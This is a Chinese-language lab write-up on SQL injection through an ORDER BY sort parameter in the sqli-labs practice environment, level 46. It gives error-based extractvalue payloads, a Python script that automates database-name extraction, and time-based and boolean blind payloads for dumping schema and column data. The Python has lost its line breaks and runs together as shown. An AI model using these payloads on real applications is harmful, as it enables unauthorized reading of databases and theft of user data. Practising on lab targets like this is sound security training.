实验描述
本实验基于sqli-lab的第46关进行测试
本关的sql 语句为$sql = "SELECT * FROM users ORDER BY $id"
利用sort进行sql注入，我们可以利用报错注入，延时注入来爆出数据
1.报错注入
1.手工测试
爆出数据库
?sort=(extractvalue(1, concat(0x7e, (select schema_name from information_schema.schemata limit 1,1))))
爆出数据库中的表
?sort=(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))))
爆出表中的列
?sort=(extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1))))
爆出列值
?sort=(extractvalue(1,concat(0x7e,(select username from users where id=1))))2.代码实现
import requests
import re# 目标URL (根据实际环境修改)
target_url = "http://172.25.254.145/sqli-labs-php7-master/Less-46/"def extract_database_name():database_names = []index = 0while True:# 构造注入Payloadpayload = {"sort": f"(extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit {index},1))))"}try:# 发送GET请求response = requests.get(target_url, params=payload, timeout=10)response.raise_for_status()# 正则匹配错误信息中的数据库名error_pattern = r"XPATH syntax error: '~([^']+)"match = re.search(error_pattern, response.text)if match:db_name = match.group(1)database_names.append(db_name)print(f"成功提取数据库名: {db_name}")index += 1else:if index == 0:print("找到数据库名，可能漏洞不存在或错误信息被隐藏")else:print("已提取所有数据库名")breakexcept requests.exceptions.Timeout:print(f"[-] 请求超时，索引为 {index}，继续尝试...")except requests.exceptions.HTTPError as http_err:print(f"[-] HTTP请求错误，索引为 {index}: {http_err}")except requests.exceptions.RequestException as e:print(f"[-] 请求失败，索引为 {index}: {e}")return database_namesif __name__ == "__main__":all_database_names = extract_database_name()结果
同理，修改sql注入语句，即可爆出所有的数据信息
2.盲注
1.时间盲注
错误按照username执行排序，否则结果正确
正确结果如下
错误结果如下
判断当前数据库的名称
?sort=if((substr(database(),1,1)='s'),(select 1 from (select sleep(2)) as b),username)判断第一个数据库的名称
?sort=if((substr((select schema_name from information_schema.schemata limit 0,1),1,1)='i'),(select 1 from (select sleep(2)) as b),username)爆出数据库表(emali表)
?sort=if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'),(select 1 from (select sleep(2)) as b),username)爆出列值(USER)
?sort=if((substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='U'),(select 1 from (select sleep(2)) as b),username)根据上述sql语句可以获得数据库的信息
2.布尔盲注
如果正确按照username排序，不正确按照password排序
?sort=if((substr((select user()),1,1)='r'),username,password)
